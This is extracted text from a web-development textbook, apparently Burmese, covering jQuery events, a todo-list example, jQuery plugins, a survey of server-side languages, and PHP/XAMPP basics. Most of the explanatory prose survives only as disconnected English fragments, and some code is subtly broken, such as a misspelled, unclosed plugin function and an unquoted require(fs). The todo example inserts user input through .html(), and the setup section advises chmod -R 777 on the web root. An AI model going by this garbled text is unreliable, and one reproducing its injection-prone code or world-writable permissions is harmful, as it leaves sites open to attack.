$("button").click( function () {
$("#note").slideToggle("fast");
});
</script>
</body>
</html>

Professional Web Developer () jQuery

155

<button> Click Function #note


Element Slide Effect <button> #note Element

jQuery Event Function
$(selector).click() - Element Click Function

----------------------------------------------------------------------------------------$(selector).dblclick() - Element Double Click Function

----------------------------------------------------------------------------------------$(selector).mouseenter() - Element
Function

Mouse

----------------------------------------------------------------------------------------$(selector).mouseleave() - Element Mouse


Function
----------------------------------------------------------------------------------------$(selector).mousemove() - Element Mouse Mouse
Function
----------------------------------------------------------------------------------------$(selector).hover() - mouseenter() mouseleave()
hover() Function Function mouseenter()
mouseleave() $("a.back").hover(function() {
...
}, function() {
...
});

Professional Web Developer () jQuery

156

$(selector).focus() - Element Focus Function

----------------------------------------------------------------------------------------$(selector).blur() - Element Focus Focus Lost


Function
----------------------------------------------------------------------------------------$(selector).keydown() - Element Focus Keyboard Key
Function Key
----------------------------------------------------------------------------------------$(selector).keyup() - keydown() Key
Function
----------------------------------------------------------------------------------------$(selector).keypress() - keyup() Key
Process Function
Esc Shift Ctrl Key

----------------------------------------------------------------------------------------$(selector).scroll() - Element Focus Scroll Wheel Scroll Bar
Scroll Function
----------------------------------------------------------------------------------------$(selector).change() - Element Function
Form Input Element
----------------------------------------------------------------------------------------$(selector).submit() - Form Submit Button
Function <form> Element

Professional Web Developer () jQuery

157

$(selector).load() - Element Load Function


<body> Element
----------------------------------------------------------------------------------------$(selector).unload() - load() Browser
Window Browser Tab Function
----------------------------------------------------------------------------------------$(selector).ready() - ready() Function document Object
Document Element Load
Function
-----------------------------------------------------------------------------------------

6.7 Menu Boxes Example

Menu Boxes

(-) jQuery Slide Menu


(-) Box
Document Type Declaration <html> <head> <body>
HTML Document
Structure <body> Element

Professional Web Developer () jQuery

<div class="box">
<h3>Products</h3>
<ul>
<li><a href="#">Icon Pack</a></li>
<li><a href="#">Texture Set</a></li>
<li><a href="#">Design Template</a></li>
</ul>
</div>
<div class="box">
<h3>Services</h3>
<ul>
<li><a href="#">Web Design</a></li>
<li><a href="#">Logo Design</a></li>
<li><a href="#">Web Development</a></li>
</ul>
</div>
<div class="box">
<h3>Connect</h3>
<ul>
<li><a href="#">Facebook</a></li>
<li><a href="#">Twitter</a></li>
<li><a href="#">Google+</a></li>
</ul>
</div>

<style> CSS Style


.box {
width: 220px;
border: 1px solid #a22;
padding: 1px;
margin-bottom: 8px;
}
.box h3 {
color: #fff;
background: #c22;
padding: 8px;
margin: 0;
cursor: pointer;
}
.box h3.up {
color: #d99;
}
.box a {
color: #900;
}

158

Professional Web Developer () jQuery

159

HTML CSS
HTML/CSS .box h3.up { }
up Class Element

<script src=""> jquery.js File <script>
JavaScript
$("h3").click(function() {
var parent = $(this).parent();
$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");
});

<h3> Element
click() Function $(this)
Click
Element Select
var parent = $(this).parent() Click <h3> Parent Element
Select parent Variable
$("ul", parent)
parent <ul> Select
parent Filter jQeury Document <ul>
Select Click <h3> Parent Element <div> <ul>
Select slideToggle() <ul> Click
<h3> <ul>
<script> Element <body> Element
<script> Element jquery.js File Element


Code
jQuery DOM Selector Filter (-)


toggleClass()
Click <h3> up Class up
Class Box Title Box Title

Professional Web Developer () jQuery

160

Application jQuery
DOM Ready Event jQuery DOM Object

6.8 DOM Ready Event

JavaScript

$("h3").click(function() { }) Statement
<h3> Element onClick Event Function Browser
Document Element
<h3> Element JavaScript <h3>

Code Code Base Structure

jQuery Code ready() Function
Menu Boxes Script
$(document).ready( function() {
$("h3").click(function() {
var parent = $(this).parent();
$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");
});
});
$(document).ready() Code jQuery Document

Element jQuery Code $(document).


ready() Element
Code

ready() Function Select CSS Selector document
JavaScript Build-in Object
document JavaScript Object CSS
Selector Quote

$(document).ready()

Professional Web Developer () jQuery

161

$(function() {
$("h3").click(function() {
var parent = $(this).parent();
$("ul", parent).slideToggle("fast");
$(this).toggleClass("up");
});
});

document Object ready() Function jQuery Object


Nameless Function $(document).ready()

$(document).ready()

6.9 Creating jQuery DOM Objects

jQuery Element Select Element


- <input> Element jQuery <form> Element

var textInput = $("<input>", {
"type": "text",
"value": "John Doe",
"name": "user-name",
"id": "full-name"
});
$("form").append( textInput );

jQuery Object $ Sign Parameter Element


Element Attribute Attribute JSON

<input type="text" value="John Doe" name="user-name" id="full-name">

Application

6.10 jQuery Todo List Application

Programming Language Program


"Hello, World!" Program Todo List Application
"Hello, World!" Language
Application Task

Professional Web Developer () jQuery

162

Task Application (-)

(-) jQuery Todo List Application


HTML Structure
<div id="wrap">
<h1>Task List <span>0</span></h1>
<ul id="tasks"></ul>
<ul id="done"></ul>
<div id="new-task">
<input type="text"><button>+</button>
</div>
</div>

HTML Structure <body>


<style> CSS
#wrap {
width: 360px;
margin: 20px auto;
padding: 20px;
border: 6px solid #DDD;
overflow: hidden;
}

Professional Web Developer () jQuery

h1 {
margin: 0 0 20px 0;
padding: 0 0 5px 0;
font-size: 18px;
border-bottom: 1px solid #DDD;
}
h1 span {
float: right;
display: block;
background: #9cf;
font-size: 12px;
padding: 2px 6px;
color: #FFF;
}
ul {
list-style: none;
margin: 0; padding: 0;
}
ul li {
overflow: hidden;
padding: 4px 0;
}
li input, li span {
float: left;
margin-right: 6px;
}
li a {
float: right;
text-decoration: none;
font-weight: bold;
color: #900;
padding: 0 8px;
display: none
}
li:hover a {
display: inline;
}
#new-task {
margin-top: 20px;
padding-top: 10px;
border-top: 1px solid #efefef;
overflow: hidden;
}
#new-task input {
border: 1px solid #DDD;
border-right: 0 none;
padding: 2px;
width: 240px;
height: 20px;
float: left;
}

163

Professional Web Developer () jQuery

164

#new-task button {
width: 30px;
border: 1px solid #DDD;
background: #eee;
font-weight: bold;
color: #666;
padding: 2px 2px 3px 2px;
float: left;
}
#done {
line-height: 18px;
margin-bottom: 10px;
}
#done span {
text-decoration: line-through;
font-size: 12px;
color: #999;
}

HTML/CSS
<script src=""> jquery.js File <script>
JavaScript
$(document).ready(function() {
$("#new-task button").click(function() {
var task = $("#new-task input").val();
if(!task) return false;
buildTask(task).appendTo("#tasks");
$("h1 span").html( $("#tasks li").length );
$("#new-task input").val("").focus();
});
$("#new-task input").keydown(function(e) {
if(e.which == 13)
$("#new-task button").click();
});
});
function buildTask(msg) {
var checkbox = $("<input>", {
type: "checkbox"
}).click(function() {
if($(this).is(":checked")) {
$(this).parent().prependTo("#done");
} else {
$(this).parent().appendTo("#tasks");
}

Professional Web Developer () jQuery

165

$("h1 span").html( $("#tasks li").length );


});
var task = $("<span>").html(msg);
var del = $("<a>", {
href: "#"
}).html("&times;").click(function() {
$(this).parent().remove();
$("h1 span").html( $("#tasks li").length );
});
return $("<li>").append(checkbox).append(task).append(del);
}

Code Document Browser


Task Task
Check Application Code

Document Ready <button> Click Event
Text Input task Variable task Variable
Blank
var task = $("#new-task input").val();

if(!task) return false;

Click Event
buildTask() Function task Variable Parameter
buildTask() Function Element
<li> buildTask() Function <li>
Element appendTo() Function #tasks Input Text Box
Task #tasks <li> Element
#tasks <li> jQuery Select
JavaScript Property .length
<h1> <span> Element Content
Task
Text Input val("")
focus() Function Text Input Cursor

Professional Web Developer () jQuery

166

Task
Text Input Keydown Event Button Click
Text Input Enter Button
Keydown Function e Event Object
Event Object e.which == 13
Key Keycode 13
Keycode 13 Enter Key
Backspace Keycode 8 Esc Keycode 27
Task Button Text Box Enter

Key Code
Backspace = 8, Tab = 9, Enter = 13, Shift = 16, Ctrl = 17, Alt = 18, Caps Lock = 20, Esc = 27 , Space = 32,
F1 = 112 ... F12 = 123
Keycode Keypress, Keyup Keydown Event
http://unixpapa.com/js/key.html

buildTask() Function Code Block

var checkbox = $("<input>", {

type: "checkbox"
}).click(function() {

if($(this).is(":checked")) {

$(this).parent().prependTo("#done");

} else {

$(this).parent().appendTo("#tasks");

$("h1 span").html( $("#tasks li").length );


});

Check Box jQuery


checkbox Variable
Checkbox Element Click Event Click Event
Checkbox Click Check Uncheck is()
Function Check Check Box Parent Element #done
Uncheck #tasks
var task = $("<span>").html(msg);

<span> Element Function msg Variable


Element Content
Task Delete Link

Professional Web Developer () jQuery

167


var del = $("<a>", {

href: "#"
}).html("&times;").click(function() {

$(this).parent().remove();

$("h1 span").html( $("#tasks li").length );


});

jQuery
<a> Element Element Content &times; Symbol
&times; Symbol ( ) Cross Delete Sign
Click Event Click
Parent Element

return $("<li>").append(checkbox).append(task).append(del);

Element <li> Element Content


Function Element Event
<li> Element
Todo List Application Application jQuery
Application Browser
Browser Refresh
Cookie HTML5
LocalStorage User Interface
() Ajax with jQuery

6.11 jQuery Plugins

jQuery
Plugins Plugins jQuery
Framework jQuery
Developer
Plugin jQuery
Plugins
Project Plugins Developer
Plugin
jQuery Plugins

jQuery - Function

Professional Web Developer () jQuery

168

$.fn.muliplyBy = function(n) {
this.each(function() {
var content = $(this).html();
for(i=1; i<n; i++) {
$(this).append(content);
}
}
};

jQuery multiplyBy() Function Function


Select Element Content $("ul").multiplyBy(5)
<ul> Element Content () jQuery Selector
Plugin

plugins.jquery.com, unheap.com, jquerylist.com Website
Plugin plugins.jquery.com Official Directory

(-) plugins.jquery.com
Plugin
Plugin
Document jQuery File

Plugin File <script> Element
Plugin CSS File CSS File

Professional Web Developer () jQuery

169

<link> Element

Plugin
Plugin Developer

Plugin
Documentation Manual

jQuery UI jQuery UI jQuery Core Team


Project User Interface Accordion,
Autocomplete, Button, Datepicker, Dialog, Menu, Progressbar, Slider, Spinner, Tabs, Tooltip
Widget Drag-n-drop, Resizable Animation
Effect
jQuery UI jqueryui.com Download jQuery UI
Download Archive Extract HTML Document
<body> <input type="text" id="date">

- Input

<script> Element

<script src="jquery.js"></script>
<script src="jquery-ui.js"></script>
<script>
$(document).ready(function() {
$("#date").datepicker();
});
</script>

jQuery UI jQuery Plugin jquery.js jquery.js


Downlod jquery-ui.js
Document Ready #date Select datepicker() Function
datepicker() Function jQuery UI Function
#date Element Click (-)
#date Element Value
Date Datepicker

Professional Web Developer () jQuery

170

(-) jQuery UI Datepicker Example


CSS Style CSS
Download CSS <head>

<link rel="stylesheet" href="jquery-ui.css">

(-) CSS Style

(-) jQuery UI Datepicker Example with Style

Professional Web Developer () jQuery

171

jQuery Validate Plugin Form Input



Format
Pligin
Plugin Download jqueryvalidation.org
HTML Document <body> HTML Form

<form id="comment" action="">
<p>
<label for="cname">Name (required, at least 2 characters)</label>
<input id="cname" type="text" name="name">
<p>
<label for="cemail">E-Mail (required)</label>
<input id="cemail" type="text" name="email" />
</p>
<p>
<label for="curl">URL (optional)</label>
<input id="curl" type="text" name="url" />
</p>
<p>
<label for="ccomment">Your comment (required)</label>
<textarea id="ccomment" name="comment"></textarea>
</p>
<p>
<input class="submit" type="submit" value="Submit"/>
</p>
</form>

Download Archive Extract jquery.validate.js


<script> Element #comment Form Select
validate() Function Validation Rule
<script src="jquery.js"></script>
<script src="jquery.validate.js"></script>
<script>
$(document).ready(function(){
$("#comment").validate({
rules: {
name: {
"required": true,
"minlength": 2
},
email: {
"required": true,
"email": true
},
comment: {
"required": true
}

Professional Web Developer () jQuery

172

}
});
});
</script>

Validation Rules JSON Input Box name Attribute Rules


Submit Button rules
validate() Function Element Error Message
Rules Message
Rules Validate Plugin Default Message

(-) jQuery Validate Plugin Example


(-) Rule Element Error Message
Element Error Message Error
CSS Plugin CSS

label {
display: block;
color: #555;
}
label.error {
color: #900;
font-style: italic;
}

Professional Web Developer () jQuery

173

Plugin jQuery DataTable Plugin DataTable Plugin

HTML Table Data Grid Sort, Filter, Per Page Selector, Paging
Plugin Download datatables.net

(-) jQuery DataTable Plugin


Grid HTML Table Select
dataTable() Function DataTable Plugin

$("table").dataTable();

Table Record Download


Conclusion

Plugin Plugin Image Gallery, Slideshow, Scrollable, Video/


Audio Player, Carousel, Chart & Graph, Navigation Menu, Page Scroller, Rich Text Editor
Plugin User Interface

Professional Web Developer

Professional web developer


Internet, Web Mobile Startup
Entrepreneur
Founder

(CEO, SigBuzz - Enterprise Signature Marketing Platform)

Author Email: author@pwdbook.com


Website: http://pwdbook.com

Professional Web Developer () Server-side Programming Languages

175

() Server-side Programming Languages


From CGI to Node.JS

HTML Document JavaScript PHP, ASP.NET, JSP, Ruby, Python, Perl Script
JavaScript Web Browser
Script Web Server Server-side Script

(-) Server-side Script


(-) Document HTML PHP Script JavaScript
Original Script <? print date("d.m.Y") ?>

Professional Web Developer () Server-side Programming Languages

176

- PHP Script Document Request Server


Document PHP Script
Respond PHP Script
HTML/CSS/JavaScript
PHP Script
Result Output PHP Script
Original Document Result Output

Server-side Script
Document Dynamic Web Document

Script Server Server-side Script Web


Browser PHP ASP.NET Server-side Script
Web Server Programming Language Module Install

(-) Market Share of Server-side Scripts


() Server-side Script
(-) Website . PHP
ASP.NET, Java, ColdFusion, Perl,
Ruby Python Node.JS
Link: w3techs.com/technologies/overview/programming_language/all
Web Application

Professional Web Developer () Server-side Programming Languages

177

Web Application
Application (-)

7.1 Common Gateway Interface CGI

Server-side Script
Common Gateway Interface CGI

CGI Web Server Program Run
Run Request
Program CGI Web Server
Web Server Respond
Web Server Run Program Script CGI
Script

(-) CGI Script on Server


CGI Script Perl Programming Language
C

Python CGI Script Program
Server-side HTML Document
CGI Request Program Run Request

Professional Web Developer () Server-side Programming Languages

178

Program Run Server Process


CGI Web Server
Request


FastCGI FastCGI
Server-side Website
CGI W3C Standard FastCGI OpenMarket

FastCGI Request Process Process
Request Web Server
CGI Request
FastCGI Apache Web Server
mod_perl,
mod_php, mod_python Web Server Module
FastCGI Request Web
Server Module Script Program
HTML Document CGI

Script HTML Document
Server-side

7.2 PHP: Hypertext Processor

PHP Website () Server-side Script Language


Web Application CommandLine Program Desktop Application
Rasmus Lerdorf Developer
Website Perl CGI
Script
Perl Script C
HTML Form
Database Server
Personal Home Page/Form Interpreter
(PHP/FI) PHP/FI () "Personal Home Page Tools
(PHP Tools) Version 1.0" Open Source
Developer PHP/FI

PHP HTML Form HTML
Document
Version
PHP/FI 2
PHP/FI PHP Code Parser Process Core
Zeev Suraski Andi Gutmans
Developer
Performance PHP/FI Parser

Professional Web Developer () Server-side Programming Languages

179

PHP/FI Community Language


PHP: Hypertext Processor

Parser PHP3
Zeev Suraski Andi Gutmans Zend Technology
PHP Core Zend Engine
Zend Technology PHP Community
Zend Framework Web Application
Framework Zend Accelerator, Zend Studio, Zend Debugger
PHP Tools
() PHP4 Zend Engine PHP Core
() Zend Engine II PHP5
PHP5 Object-Oriented Programming Support PHP Data Object (PDO)
Extension
PHP 5.6.8
PHP Open Source Programming Language Open Source
Linux OS, Apache Web Server, MySQL Database Server PHP
Web Application Framework Zend Framework, CakePHP, Symfony, Codeigniter,
FuelPHP, Laravel Framework Open Source Framework
Website Content
Management System (CMS) Wordpress, Joomla, Drupal PHP Open
Source CMS Web CMS

E-Commerce
Website


Magento, osCommerce, OpenCart PHP Open Source Solution
Wikipedia MediaWiki Solution Online Eduction Platform
Moodle Solution PHP Open Source Solution
PHP Language Open Source
Solution

PHP Web Application

7.3 ASP.NET
ASP.NET Microsoft .NET Framework Server-side
() Programming Language Framework ASP.NET
Programming Language Utility Class User Interface
Control Coding Convention Framework ASP.NET
Classic ASP (Active Server Pages) PHP Programming Language

Professional Web Developer () Server-side Programming Languages

180

ASP ASP.NET Classic ASP



ASP.NET .NET Framework 1.0
Version .NET 4.5.1
Web Application Desktop Application
Microsoft Visual Basic 6
Framework Application
Web Technology .NET Framework Microsoft
ASP.NET .NET Framework ASP.NET

Desktop Application Developer Web Application

Microsoft Desktop Application User Control Web
Application ASP.NET
Desktop Application Event Driven JavaScript
Button Click Menu Mouse

Event Developer
Web Application Client Server Web Application
Desktop Application Event Driven
Microsoft Developer Web Application Event Driven
ASP.NET Code
<%@ Page Language="C#" %>
<!doctype html>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
lbl1.Text = DateTime.Now.ToLongTimeString();
}
</script>
<html>
<head runat="server">
<title>Sample page</title>
</head>
<body>
<form id="form1" runat="server">
The current time is: <asp:Label runat="server" id="lbl1" />
</form>
</body>
</html>

Professional Web Developer () Server-side Programming Languages

181

Page Language C# .NET Common


Language Runtime Virtual Machine Developer C# Visual Basic
CLR Compliant Language Language ASP.NET Web
Application Language

Page Language C# C# Code Document <script> Element
runat="server" Attribute
<script> Element (-)
Server-side Script Page_Load Method JavaScript
onLoad Event Document Load
Method Page Load
Server-side Code Event Driven
ASP.NET Server-side Script HTML Markup
Code-Behind Model
<%@ Page Language="C#" CodeFile="SampleCodeBehind.aspx.cs"
Inherits="Website.SampleCodeBehind" AutoEventWireup="true" %>

Directive HTML Document


Server-side Code SampleCodeBehind.aspx.cs File
CodeFile="SampleCodeBehind.aspx.cs"
User Control
ASP.NET Desktop
Application Web Application
Framework
Website Modern Web Application
ASP.NET
Website Modern Web Application Application Web
Technology
ASP.NET Application Windows Server, Internet Information Services (IIS),
Microsoft SQL Server Linux, BSD, Solaris
Server Operating System Mono
Mono .NET Application Windows OS Run
Open Source

Professional Web Developer () Server-side Programming Languages

182

(-) Creating ASP.NET MVC Application with MonoDevelop on Linux


(-) ASP.NET MVC Application Ubuntu Linux OS Mono
Develop IDE ASP.NET Application Windows
Visual Studio IDE OS MonoDevelop

ASP.NET Web Forms
Modern Web Application
ASP.NET MVC
Framework Event Driven
Application Web Client Request
Framework Web Framework
Model-View-Controller Pattern Application ASP.NET
Web Forms Web
.NET Framework
Framework

7.4 Java (Servlet and JSP)

Java General Purpose Programming Language Web Application



Request
Programming Language

Application Server
Web Server Load Balance Server

Professional Web Developer () Server-side Programming Languages

183

Cluster
Distributed System Performance
Memory Storage Disk Storage Real-time Concurrency Thread
Socket Template, Data Code Pre-Compiled
Cache
Index Search
Java Platform

Java Scalable
Java Web
Application

ASP.NET Website Modern Web
Application Twitter
Twitter Social Network Website
Ruby on Rails

Scale Java

Java Programming Language Sun Microsystems James Gosling
Version Sun
Microsystems Oracle Java Oracle
OS Run "Write Once, Run Anywhere"

Language
Java2 J2SE, J2ME, J2EE
Platform Java Platform

Java SE, Java ME, Java EE
Java Web Application Java Servlet JavaServer Page (JSP)
Servlet HTTP Request Respond Java Class

Apache Tomcat, Jetty Servlet Container Web Server
JSP PHP Server-side Script HTML Document

Component MVC Pattern Java
Web Application Framework Struts 2, JavaServer Faces, JBoss Seam,
Apache Wicket, SpringMVC Framework
Framework

Professional Web Developer () Server-side Programming Languages

184

7.5 Ruby on Rails

Ruby on Rails Web Application Framework Rails


RoR
David Heinemeier Hansson
Developer
Version
Ruby on Rails MVC Framework Object Relational Mapping, Convention Over Configuration
Developer Software Development Practice Framework
Developer Rails CakePHP
ASP.NET MVC MVC Web Application Framework
Rails Ruby Programming Language Framework Ruby
Programming Language PHP Open Source Scripting Language
Developer Yukihiro Matsumoto Version
1.0
Ruby General Purpose Language Erb
Template Class

Server-side Script Ruby Code HTML Document


Language Rails Framework
Web Application Rails Sinatra, Nitro, Merb Ruby
Web Application Frameworks Merb Framework Rails
Framework Rails
Ruby Programming Language Functional Programming Support
Developer Language - Ruby "Hello,
world!" Message ()
puts "Hello, world!" * 5

Loop ()

Loop ()

10.times do { ... }


Ruby on Rails Scaffold Generator

Scaffold Generator Generate
Code Framework Rails

Professional Web Developer () Server-side Programming Languages

185

Generator Rails ActiveRecord



ORM Ruby on Rails
Web Application Framework Framework

7.6 Python

Python Programming Language General Purpose Script Language Python



Programming
Language



Language
C Language
Semi Colon
Whitespace Indention Code
Language C Code Python
Code
[ C ]
void foo(int x)
{
if (x == 0) {
bar();
baz();
} else {
foo(x - 1);
}
}
[ Python ]
def foo(x):
if not x:
bar()
baz()
else:
foo(x - 1)

Python Guido van Rossum Developer


Version Python 2.0

Python Apache Web Server mod_python, mod_wsgi Module


Server-side
Script Ruby Django, Pylons, Zope,
Pyramid Python Web Application Framework Web Application
Django Framework Rails MVC
Framework Pinterest, Instagram The Washington Times Website
Django Framework

Professional Web Developer () Server-side Programming Languages

186

7.7 Node.JS

JavaScsript Browser Client-side Language


Node.JS JavaScript Server-side
Node.JS JavaScript Server-side



Netscape
Enterprise Server Server-side JavaScript Node.JS
Web Application


Node.JS Ryan Dahl
System Administrator
Google V8 JavaScript engine V8
Google Chrome Web Browser JavaScript Engine
Node.JS
Non-blocking I/O Hard drive
Server GPS,
Fingerprint Input/Output (I/O)
Instruction

CPU Process

Process I/O

$content = file_get_contents("bigfile.csv");
echo $content;
// Other processes

PHP
Size


NodeJS
var fs = require(fs);
fs.readFile("bigfile.csv", "utf8", function(err, data) {
console.log(data)
});
// other processes

fs.readFile() Callback Function


Process
Non-blocking I/O NodeJS

NodeJS Network App Service


Professional Web Developer () Server-side Programming Languages

187

Version 1 Derby, Express, Meteor, TowerJS, SocketStrem


NodeJS Web Application Framework Microsoft,
Yahoo, LinkedIn, Walmart Website Website
Node.JS

Conclusion

Server-side Perl ColdFusion


Perl Programming Language CGI
Perl Server-side Script Website
Server-side
Website Web Application Perl
Adobe ColdFusion


Web Development Community

PHP Web Developer






PHP PHP Web
Technology Server-side

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () PHP Basic

189

() PHP Basic
XAMPP, Form Handling and Cookie/Session Management

PHP Server-side Script Development Environment


Server-side Script Web
Server
Operating System Desktop
Windows OS Server Linux OS
Windows Linux File Name Windows
Case-sensitive Linux Case-sensitive Windows readme.txt README.txt
File Folder File Name
Linux Name

PHP Development Linux


Application Environment Environment OS
Web Developer
Web Application Web Server OS Project File
Server Setting Application
Linux OS OS Server
Command Line Interface, SSH, File Permission, User Account Management Linux
Ubuntu
Linux, LinuxMint, Fedora Linux OS Windows
Web Developer
Linux Ubuntu Linux

PHP Development Environment
() Web Server, PHP
Database Management System (DBMS) Web Server ()
Apache, IIS (Internet Information Services), Nginx Lighthttpd

Professional Web Developer () PHP Basic

190

Apache Web Server Website


.% Web Server Software Operating System
Open Source Mosaic Browser
NCSA NCSA HTTPd Web Server Software

IIS Web Server Email Server, FTP Server Microsoft Windows

Windows XP, Windows Server 2003, Windows 7, Windows Server 2008


Windows Version IIS Version
Website %
Web Server Software

nginx ( X ) Open Source Web Server Software

Reverse Proxy Web Server


Igor Sysoev Developer OS
IIS

lighthttpd (lighty
) Web Server Software

CPU, Memory Server Resource


Open Source OS lighthttpd
YouTube

Request Website

PHP Server PHP

Apache Web Server
Apache
PHP Development Environment Database Management System
(DBMS) DBMS Programming Language

DBMS General
Purpose DBMS Special Purpose DBMS
Standalone Database Client-Server Model
Database Server Relational Database Management System
(RDBMS) NoSQL Database System

PHP Database System PHP
MySQL Database Server MySQL
Development Environment Installation

Professional Web Developer () PHP Basic

191

8.1 AMP Packages

AMP Apache-MySQL-PHP/Perl/Python
AMP Package
Apache, MySQL PHP ( ) Perl ( ) Python Software Package
Apache Web Server Web Server PHP
Server-side Script AMP
Packages AMP Package PHP Development Environment

Apache Web Server Install Configuration Setting
- Client
Compression Cache Module Client Directory
Browsing PHP Install

Configuration - PHP Process
Server Memory
Error PHP Apache
Web Server Setting Apache Web Server
Request Respond Request PHP Process
Respond Developer PHP
Application
AMP Packages WAMP, LAMP, MAMP, Bitnami, DAMP, Zend
Server AMP Package Package Developer
Setting Package Apache Web Server, PHP
MySQL Package
Setting AMP Package WAMP,
LAMP MAMP AMP WAMP
W
Windows WAMP Windows AMP Package LAMP
L Linux LAMP Linux AMP Package MAMP

M Mac MAMP Mac AMP Package
Apache Friends
WAMP, LAMP MAMP XAMPP
XAMPP X Cross-Platform P
PHP Perl

8.2 Getting and Installing XAMPP

XAMPP Installer apachefriends.org Download Windows, Linux, Mac OS


Installer

Professional Web Developer () PHP Basic

192

(-) XAMPP Windows Installer Wizard


Download Installer Run (-) Next Button
Installation Desktop
XAMPP Control Panel Shortcut ( ) Start Menu XAMPP Control Panel
(-) Control Panel

(-) XAMPP Windows Control Panel


Version Installer Control Panel
Apache Web Server Start Button
Apache Server (-) Process ID (PID) Server

Professional Web Developer () PHP Basic

193

Port MySQL Database Server


Start Button (-) Apache MySQL Start
Button Stop Button Windows Restart
Start Button Manual Start
Service Button Apache MySQL
Windows Service Register
(-)

Button Windows Service Register
Apache Web Server Running Web Browser URL Bar
http://localhost/ XAMPP Demo Page Language
English

(-) XAMPP Windows XAMPP Home Page


(-) XAMPP Install Apache
Server
Browser Request Time Out Apache Web Server
XAMPP Control Panel Windows OS
IIS Web Server Apache Web Server Web
Server Port
Windows UAC Anti-virus, Firewall Program Apache Block
Windows Restart Apache Start Windows UAC Anti-virus,

Professional Web Developer () PHP Basic

194

Firewall Block Allow Allow Allow



Apache () Apache Port Setting

()
() Apache Port Setting

Install XAMPP on Linux

Linux XAMPP Installer Executable



$ sudo chmod 755 xampp-linux-*-installer.run
Installer Run
$ sudo ./xampp-linux-*-installer.run
XAMPP Installer /opt/lampp Directory Install
Install Apache, MySQL Service Run
$ sudo /opt/lampp/lampp start
Apache MySQL XAMPP Service start
stop, restart Manual Start
OS /opt/lampp/lampp start

Command /etc/rc.local File Linux


Ubuntu, LinuxMint OS rc.local
Command OS Run
Windows Control Panel /opt/lampp Directory managerlinux.run

Professional Web Developer () PHP Basic

195

$ cd /opt/lampp
$ sudo ./manager-linux.run
PHP Script htdocs Directory Write Permission
Permission Super User Directory PHP Script
Super User
PHP Script File Directory
Full Write Permission
$ sudo chmod -R 777 /opt/lampp/htdocs

8.3 First PHP Script

XAMPP Apache Web Server Server-side PHP Script


C:\xampp\htdocs\ Folder hello
Folder htdocs Folder XAMPP Apache Document Root
Request Apache Web Server Document htdocs Folder
Setting
Linux Document Root /opt/lampp/htdocs Windows
Windows hello Folder
world.php File css, img, js Folder ()
Web Browser URL http://localhost/hello/
(-)

(-) Apache Directory Browsing

Professional Web Developer () PHP Basic

196

Browser Web Document Index of /hello hello


Folder File Folder Directory Browsing
File
Web Server PHP Version
Website
Directory Browsing Website

world.php PHP Script HTML
<!doctype html>
<html>
<head>
<title>Hello, World!</title>
</head>
<body>
<h1>Hello, World!</h1>
<p>Today is: <?php echo date("d / m / Y") ?></p>
<p>
<?php
$now = time();
$thingyan = strtotime('2013-04-13');
$sec_left = $thingyan - $now;
echo floor($sec_left / (60 * 60 * 24));
?>
days before Thingyan.
</p>
</body>
</html>

PHP Code <?php ?> PHP Code


day / month / year Format

2013

Code
Browser URL Bar http://localhost/hello/world.php (-)

Professional Web Developer () PHP Basic

197

(-) world.php Result


PHP Script ()
Browser Right-Click View Page Source (-)

(-) world.php - View Page Source

Professional Web Developer () PHP Basic

198

Browser HTML Source PHP Code


PHP Code Web Server HTML
Browser Web Server PHP Code

echo date("d / m / Y");

echo Keyword Output echo print


echo print Performance
echo date() Function

d / m / Y Format date() Function


07 / 04 / 2013 Format
date() Function Format
Parameter Parameter
d
m
Y
D
M
y
H
i
s

(01 31 )

(01 12 )

( - 2013)

(Sun Sat )
(Jan Dec )
( - 13)

(00 23 )

(00 59 )

(00 59 )

Parameter php.net/manual/en/function.date.php
Code

$now = time();
$thingyan = strtotime('2013-04-13');
$sec_left = $thingyan - $now;
echo floor($sec_left / (60 * 60 * 24));

$now Variable time() Function Timestamp


Timestamp 01 / 01 / 1970

$now Variable Timestamp
PHP Code Semi-colon ( ; ) Semi-colon

Professional Web Developer () PHP Basic

199

PHP
Variable PHP Dollar Sign
Language Variable
Space + - @ # % Special Character
Underscore Dynamic Type Variable
Data Type PHP Data Type

strtotime() Function Timestamp 2013-04-13


Timestamp $thingyan $thingyan
$now




60 * 60 * 24
floor() Function
echo
( ) 5
PHP Imperative Language Language Control Structure
Operator C, JavaScript
Request
Application PHP
Function
PHP Build-in Function Version
Function php.net/quickref.php
PHP Function Function

8.4 PHP Strings

PHP JavaScript String Double Quote ( ) Single Quote


Quote
Double Quote
String Single Quote
Single Quote
String Double Quote
Single Quoted String Single Quote
Double Quoted String Double Quote Single
Quote Double Quote (-)
Quote

Professional Web Developer () PHP Basic

200

(-) Usage of Double Quotes and Single Quotes


Single Quote Double Quote Double Quoted String
Variable PHP Variable

Single Quoted String Variable
Single Quoted String Double Quoted String Double Quoted
String Variable Single Quoted String
(-)

(-) Variable in Strings

Professional Web Developer () PHP Basic

201

(-) Double Quoted String Output "Hello John Doe, how are you doing?"
Single Quoted String Output "Hello $name, how are you doing?"
Single Quote $name Variable

String $, ", ' Operator Backslash (\) Escape
Escape Character Single Quote
( \' ) , Double Quote ( \" ), Dollar Sign Character
( \$ ) Backslash ( \\ ) $name = "John Doe";
echo "Hello \$name, how are you doing?";

"Hello $name, how are you doing?" Double Quoted String


Dollar Sign Backslash Escape PHP Dollar Sign Variable
Operator

name

Variable


echo "Bob is \"24\" years old.";

-
Bob is "24" years old. Double Quoted String Double
Quote Escape PHP Quote Operator
String
Double Quote (or) Single Quote
Escape Operator Escape

8.5 PHP Arrays

PHP Array array() Function Array


Numeric Array
Index
Array Associative Array Index
Array Associative Array JavaScript JSON

PHP JavaScript Dynamic Type Language Array
Data Type Array Size Array
JavaScript
Array PHP 5.4

Array PHP 5.2, PHP 5.3
Version Array Array Literal Syntax

Professional Web Developer () PHP Basic

202

Array array() Function


$arr = array();
$arr[0] = "Foo";
$arr[1] = "Bar";
$arr[2] = "Baz";

( )
$arr = array("Foo", "Bar", "Baz");

array() Function Array Variable Index



array() Function

$arr[] = "Foo";
$arr[] = "Bar";
$arr[] = "Baz";

$arr Variable Array Index


$arr
PHP $arr Variable Array
Array Index [0] Array
Index JavaScript

JavaScript Array
Index PHP

PHP Case Sensitive Language

Function Function Name
array() Array()

Array Index Array


Static Type Language Multi-Dimensional Array
Multidimensional Array Array Index Array
PHP Multi-dimensional Array

Array Index Array
(-)

Professional Web Developer () PHP Basic

203

